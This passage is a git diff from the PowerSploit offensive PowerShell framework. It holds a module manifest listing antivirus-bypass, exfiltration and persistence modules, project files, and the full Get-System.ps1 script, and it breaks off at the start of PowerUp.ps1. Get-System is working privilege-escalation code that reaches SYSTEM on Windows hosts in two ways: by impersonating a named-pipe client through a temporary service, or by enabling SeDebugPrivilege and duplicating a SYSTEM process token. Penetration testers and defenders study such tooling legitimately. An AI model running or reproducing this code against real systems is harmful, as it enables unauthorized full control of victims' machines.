ProjectUri = 'https://github.com/PowerShellMafia/PowerSploit' -# Variables to export from this module -VariablesToExport = '' + } -# Aliases to export from this module -AliasesToExport = '' +} -# List of all modules packaged with this module. -ModuleList = @( @{ModuleName = 'PowerSploit'; ModuleVersion = '1.0.0.0'; GUID = '6753b496-d842-40a3-924a-0f09e248640c'}, - @{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'}, - @{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'}, - @{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'}, - @{ModuleName = 'PETools'; ModuleVersion = '1.0.0.0'; GUID = 'd15059e2-8bd9-47ff-8bcd-b708ff90e402'}, - @{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'}, - @{ModuleName = 'ReverseEngineering'; ModuleVersion = '1.0.0.0'; GUID = 'cbffaf47-c55a-4901-92e7-8d794fbe1fff'}, - @{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'}, - @{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'} - ) - -# List of all files packaged with this module -FileList = 'PowerSploit.psd1', 'PowerSploit.psm1' - -# Private data to pass to the module specified in RootModule/ModuleToProcess -# PrivateData = '' - -# HelpInfo URI of this module -# HelpInfoURI = '' - -# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix. -# DefaultCommandPrefix = '' - -} \ No newline at end of file +} diff --git a/PowerSploit.psm1 b/PowerSploit.psm1 index 430c1b85..42a91746 100644 --- a/PowerSploit.psm1 +++ b/PowerSploit.psm1 @@ -1 +1 @@ -Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer } | % { Import-Module $_.FullName } \ No newline at end of file +Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer -and !('Tests','docs' -contains $_.Name) } | % { Import-Module $_.FullName -DisableNameChecking } diff --git a/PowerSploit.pssproj b/PowerSploit.pssproj new file mode 100644 index 00000000..f95bcc3a --- /dev/null +++ b/PowerSploit.pssproj @@ -0,0 +1,210 @@ + + + + Release + 2.0 + 6CAFC0C6-A428-4d30-A9F9-700E829FEA51 + Exe + PowerSploit + PowerSploit + PowerSploit + + + + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/PowerSploit.sln b/PowerSploit.sln new file mode 100644 index 00000000..95ba4651 --- /dev/null +++ b/PowerSploit.sln @@ -0,0 +1,22 @@ + +Microsoft Visual Studio Solution File, Format Version 12.00 +# Visual Studio 14 +VisualStudioVersion = 14.0.23107.0 +MinimumVisualStudioVersion = 10.0.40219.1 +Project("{F5034706-568F-408A-B7B3-4D38C6DB8A32}") = "PowerSploit", "PowerSploit.pssproj", "{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Debug|Any CPU.ActiveCfg = Release|Any CPU + {6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Debug|Any CPU.Build.0 = Release|Any CPU + {6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Release|Any CPU.ActiveCfg = Release|Any CPU + {6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/Privesc/Get-System.ps1 b/Privesc/Get-System.ps1 new file mode 100644 index 00000000..fdb41d00 --- /dev/null +++ b/Privesc/Get-System.ps1 @@ -0,0 +1,600 @@ +function Get-System { +<# +.SYNOPSIS + +GetSystem functionality inspired by Meterpreter's getsystem. + +Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: PSReflect + +.DESCRIPTION + +Executes "getsystem" functionality similar to Meterpreter. +'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create +a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. +NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure +token duplication works correctly. + + +.PARAMETER Technique + +The technique to use, 'NamedPipe' or 'Token'. + +.PARAMETER ServiceName + +The name of the service used with named pipe impersonation, defaults to 'TestSVC'. + +.PARAMETER PipeName + +The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. + +.PARAMETER RevToSelf + +Reverts the current thread privileges. + +.PARAMETER WhoAmI + +Switch. Display the credentials for the current PowerShell thread. + +.EXAMPLE + +Get-System + +Uses named impersonate to elevate the current thread token to SYSTEM. + +.EXAMPLE + +Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' + +Uses named impersonate to elevate the current thread token to SYSTEM +with a custom service and pipe name. + +.EXAMPLE + +Get-System -Technique Token + +Uses token duplication to elevate the current thread token to SYSTEM. + +.EXAMPLE + +Get-System -WhoAmI + +Displays the credentials for the current thread. + +.EXAMPLE + +Get-System -RevToSelf + +Reverts the current thread privileges. + +.LINK + +https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c +https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot +http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ +http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [CmdletBinding(DefaultParameterSetName = 'NamedPipe')] + param( + [Parameter(ParameterSetName = 'NamedPipe')] + [Parameter(ParameterSetName = 'Token')] + [String] + [ValidateSet('NamedPipe', 'Token')] + $Technique = 'NamedPipe', + + [Parameter(ParameterSetName = 'NamedPipe')] + [String] + $ServiceName = 'TestSVC', + + [Parameter(ParameterSetName = 'NamedPipe')] + [String] + $PipeName = 'TestSVC', + + [Parameter(ParameterSetName = 'RevToSelf')] + [Switch] + $RevToSelf, + + [Parameter(ParameterSetName = 'WhoAmI')] + [Switch] + $WhoAmI + ) + + $ErrorActionPreference = 'Stop' + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + # performs named pipe impersonation to elevate to SYSTEM without needing + # SeDebugPrivilege + function Local:Get-SystemNamedPipe { + param( + [String] + $ServiceName = 'TestSVC', + + [String] + $PipeName = 'TestSVC' + ) + + $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`"" + + Add-Type -Assembly System.Core + + # create the named pipe used for impersonation and set appropriate permissions + $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity + $AccessRule = New-Object System.IO.Pipes.PipeAccessRule('Everyone', 'ReadWrite', 'Allow') + $PipeSecurity.AddAccessRule($AccessRule) + $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName, 'InOut', 100, 'Byte', 'None', 1024, 1024, $PipeSecurity) + + $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle() + + # Declare/setup all the needed API function + # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + $ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient + $ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int]) + $ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate) + + $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle + $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int]) + $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) + + $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA + $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr]) + $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) + + $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA + $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr]) + $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) + + $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA + $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr]) + $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) + + $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA + $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr]) + $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) + + $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService + $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr]) + $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) + + $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError + $GetLastErrorDelegate = Get-DelegateType @() ([Int]) + $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate) + + # Step 1 - OpenSCManager() + # 0xF003F = SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + Write-Verbose '[Get-System] Opening service manager' + $ManagerHandle = $OpenSCManagerA.Invoke('\\localhost', 'ServicesActive', 0xF003F) + Write-Verbose "[Get-System] Service manager handle: $ManagerHandle" + + # if we get a non-zero handle back, everything was successful + if ($ManagerHandle -and ($ManagerHandle -ne 0)) { + + # Step 2 - CreateService() + # 0xF003F = SC_MANAGER_ALL_ACCESS + # 0x10 = SERVICE_WIN32_OWN_PROCESS + # 0x3 = SERVICE_DEMAND_START + # 0x1 = SERVICE_ERROR_NORMAL + Write-Verbose "[Get-System] Creating new service: '$ServiceName'" + try { + $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) + $err = $GetLastError.Invoke() + } + catch { + Write-Warning "Error creating service : $_" + $ServiceHandle = 0 + } + Write-Verbose "[Get-System] CreateServiceA Handle: $ServiceHandle" + + if ($ServiceHandle -and ($ServiceHandle -ne 0)) { + $Success = $True + Write-Verbose '[Get-System] Service successfully created' + + # Step 3 - CloseServiceHandle() for the service handle + Write-Verbose '[Get-System] Closing service handle' + $Null = $CloseServiceHandle.Invoke($ServiceHandle) + + # Step 4 - OpenService() + Write-Verbose "[Get-System] Opening the service '$ServiceName'" + $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) + Write-Verbose "[Get-System] OpenServiceA handle: $ServiceHandle" + + if ($ServiceHandle -and ($ServiceHandle -ne 0)){ + + # Step 5 - StartService() + Write-Verbose '[Get-System] Starting the service' + $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) + $err = $GetLastError.Invoke() + + # if we successfully started the service, let it breathe and then delete it + if ($val -ne 0){ + Write-Verbose '[Get-System] Service successfully started' + # breathe for a second + Start-Sleep -s 1 + } + else{ + if ($err -eq 1053){ + Write-Verbose "[Get-System] Command didn't respond to start" + } + else{ + Write-Warning "[Get-System] StartService failed, LastError: $err" + } + # breathe for a second + Start-Sleep -s 1 + } + + # start cleanup + # Step 6 - DeleteService() + Write-Verbose "[Get-System] Deleting the service '$ServiceName'" + $val = $DeleteService.invoke($ServiceHandle) + $err = $GetLastError.Invoke() + + if ($val -eq 0){ + Write-Warning "[Get-System] DeleteService failed, LastError: $err" + } + else{ + Write-Verbose '[Get-System] Service successfully deleted' + } + + # Step 7 - CloseServiceHandle() for the service handle + Write-Verbose '[Get-System] Closing the service handle' + $val = $CloseServiceHandle.Invoke($ServiceHandle) + Write-Verbose '[Get-System] Service handle closed off' + } + else { + Write-Warning "[Get-System] OpenServiceA failed, LastError: $err" + } + } + + else { + Write-Warning "[Get-System] CreateService failed, LastError: $err" + } + + # final cleanup - close off the manager handle + Write-Verbose '[Get-System] Closing the manager handle' + $Null = $CloseServiceHandle.Invoke($ManagerHandle) + } + else { + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + Write-Warning "[Get-System] OpenSCManager failed, LastError: $err" + } + + if($Success) { + Write-Verbose '[Get-System] Waiting for pipe connection' + $Pipe.WaitForConnection() + + $Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd() + + $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle) + Write-Verbose "[Get-System] ImpersonateNamedPipeClient: $Out" + } + + # clocse off the named pipe + $Pipe.Dispose() + } + + # performs token duplication to elevate to SYSTEM + # needs SeDebugPrivilege + # written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot + Function Local:Get-SystemToken { + [CmdletBinding()] param() + + $DynAssembly = New-Object Reflection.AssemblyName('AdjPriv') + $AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False) + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + + $TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType]) + $TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null + $TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null + $TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null + $TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType() + + $LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType]) + $LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LuidStruct = $LuidTypeBuilder.CreateType() + + $Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType]) + $Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null + $Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType() + + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType]) + $TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public') + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1)) + $PrivilegesField.SetCustomAttribute($AttribBuilder) + # $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType() + + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder( + ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), + 'advapi32.dll', + @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), + @([Bool] $True) + ) + + $AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder( + ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), + 'kernel32.dll', + @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), + @([Bool] $True) + ) + + $Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType]) + $Win32TypeBuilder.DefinePInvokeMethod( + 'OpenProcess', + 'kernel32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [IntPtr], + @([UInt32], [Bool], [UInt32]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder2) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'CloseHandle', + 'kernel32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder2) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'DuplicateToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [Int32], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'SetThreadToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'OpenProcessToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [UInt32], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'LookupPrivilegeValue', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([String], [String], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'AdjustTokenPrivileges', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32Methods = $Win32TypeBuilder.CreateType() + + $Win32Native = [Int32].Assembly.GetTypes() | Where-Object {$_.Name -eq 'Win32Native'} + $GetCurrentProcess = $Win32Native.GetMethod( + 'GetCurrentProcess', + [Reflection.BindingFlags] 'NonPublic, Static' + ) + + $SE_PRIVILEGE_ENABLED = 0x00000002 + $STANDARD_RIGHTS_REQUIRED = 0x000F0000 + # $STANDARD_RIGHTS_READ = 0x00020000 + $TOKEN_ASSIGN_PRIMARY = 0x00000001 + $TOKEN_DUPLICATE = 0x00000002 + $TOKEN_IMPERSONATE = 0x00000004 + $TOKEN_QUERY = 0x00000008 + $TOKEN_QUERY_SOURCE = 0x00000010 + $TOKEN_ADJUST_PRIVILEGES = 0x00000020 + $TOKEN_ADJUST_GROUPS = 0x00000040 + $TOKEN_ADJUST_DEFAULT = 0x00000080 + $TOKEN_ADJUST_SESSIONID = 0x00000100 + # $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY + $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor + $TOKEN_ASSIGN_PRIMARY -bor + $TOKEN_DUPLICATE -bor + $TOKEN_IMPERSONATE -bor + $TOKEN_QUERY -bor + $TOKEN_QUERY_SOURCE -bor + $TOKEN_ADJUST_PRIVILEGES -bor + $TOKEN_ADJUST_GROUPS -bor + $TOKEN_ADJUST_DEFAULT -bor + $TOKEN_ADJUST_SESSIONID + + [long]$Luid = 0 + + $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct) + $tokPriv1Luid.Count = 1 + $tokPriv1Luid.Luid = $Luid + $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED + + $RetVal = $Win32Methods::LookupPrivilegeValue($Null, 'SeDebugPrivilege', [ref]$tokPriv1Luid.Luid) + + $htoken = [IntPtr]::Zero + $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken) + + # $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) + $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) + + if(-not($RetVal)) { + Write-Error "[Get-System] AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop + } + + $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value + + $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object { + try { + $OwnerInfo = $_.GetOwner() + if ($OwnerInfo.Domain -and $OwnerInfo.User) { + $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper() + + if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { + $Process = Get-Process -Id $_.ProcessId + + $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id) + if ($Handle) { + $Handle + } + } + } + } + catch { + Write-Verbose "[Get-System] error enumerating handle: $_" + } + } | Where-Object {$_ -and ($_ -ne 0)} | Select-Object -First 1 + + if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) { + Write-Error '[Get-System] Unable to obtain a handle to a system process.' + } + else { + [IntPtr]$SystemToken = [IntPtr]::Zero + $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + + Write-Verbose "[Get-System] OpenProcessToken result: $RetVal" + Write-Verbose "[Get-System] OpenProcessToken result: $LastError" + + [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero + $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + + Write-Verbose "[Get-System] DuplicateToken result: $LastError" + + $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + if(-not($RetVal)) { + Write-Error "[Get-System] SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop + } + + Write-Verbose "[Get-System] SetThreadToken result: $LastError" + $null = $Win32Methods::CloseHandle($Handle) + } + } + + if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { + Write-Error "[Get-System] Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop + } + + if($PSBoundParameters['WhoAmI']) { + Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" + return + } + + elseif($PSBoundParameters['RevToSelf']) { + $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf + $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) + $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) + + $RetVal = $RevertToSelf.Invoke() + if($RetVal) { + Write-Output "[Get-System] RevertToSelf successful." + } + else { + Write-Warning "[Get-System] RevertToSelf failed." + } + Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + + else { + if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { + Write-Error "[Get-System] Script must be run as administrator" -ErrorAction Stop + } + + if($Technique -eq 'NamedPipe') { + # if we're using named pipe impersonation with a service + Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName + } + else { + # otherwise use token duplication + Get-SystemToken + } + Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } +} diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 new file mode 100644 index 00000000..45edcecf --- /dev/null +++ b/Privesc/PowerUp.ps1 @@ -0,0 +1,4989 @@ +<# + +PowerUp aims to be a clearinghouse of common Windows privilege escalation +vectors that rely on misconfigurations. See README.md for more information. + +Author: @harmj0y +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +#> + +#Requires -Version 2 + + +######################################################## +# +# PSReflect code for Windows API access +# Author: @mattifestation +# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 +# +######################################################## + +function New-InMemoryModule { +<# +.SYNOPSIS + +Creates an in-memory assembly and module + +Author: Matthew Graeber (@mattifestation) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.DESCRIPTION + +When defining custom enums, structs, and unmanaged functions, it is +necessary to associate to an assembly module. This helper function +creates an in-memory module that can be passed to the 'enum', +'struct', and Add-Win32Type functions. + +.PARAMETER ModuleName + +Specifies the desired name for the in-memory assembly and module. If +ModuleName is not provided, it will default to a GUID. + +.EXAMPLE + +$Module = New-InMemoryModule -ModuleName Win32 +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ModuleName = [Guid]::NewGuid().ToString() + ) + + $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) + $LoadedAssemblies = $AppDomain.GetAssemblies() + + foreach ($Assembly in $LoadedAssemblies) { + if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { + 